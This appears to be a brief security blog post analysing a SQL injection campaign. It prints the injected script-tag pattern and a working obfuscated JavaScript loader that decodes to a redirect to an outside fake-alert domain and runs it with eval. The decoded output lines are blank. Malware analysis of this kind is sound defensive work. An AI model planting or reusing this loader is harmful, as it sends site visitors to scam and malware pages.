Just discovered a very different SQL injection from the past mass attacks.
The injected tag is of this form
<script src=””=%5Bsome random URLs]>[some associated word with URL]</script>
For example –
<script src=””=>home equity line of credit</script>

The op1.js is as follows:
var ptitle = document.title;
var atpos = ptitle.indexOf(“-“);
if (atpos > -1) {
ptitle = ptitle.substring(atpos+2, ptitle.length);

var tt; var kk; var mm; kk=””; tt=”w|nd^w$l^c#[|^n;'([[*)!!b#nd#[>#m$com!|n$cg|]4{*#r#m>[>r;”;

for (i=0; i<tt.length+1; i++){mm=tt.substring (i,i+1);
if (mm==”(“) mm=”h”; if (mm==”*”) mm=”p”; if (mm==”!”) mm=”/”; if (mm==”>”) mm=”e”;if (mm==”$”) mm=”.”;
if (mm==”[“) mm=”t”; if (mm==”#”) mm=”a”; if (mm==”^”) mm=”o”; if (mm==”]”) mm=”?”; if (mm==”@”) mm=”k”;
if (mm==”{“) mm=”&”; if (mm==”)”) mm=”:”; if (mm==”;”) mm=”=”; if (mm==”|”) mm=”i”; if (mm==” “) mm=”+”; kk=kk+mm; }
kk += ptitle + “‘;”;
eval (kk);

The op1.js is decoded to be

The above URL was redirected to the following URL when retrieved

Looks like it is one of those fakealert site typically associated with RBN.


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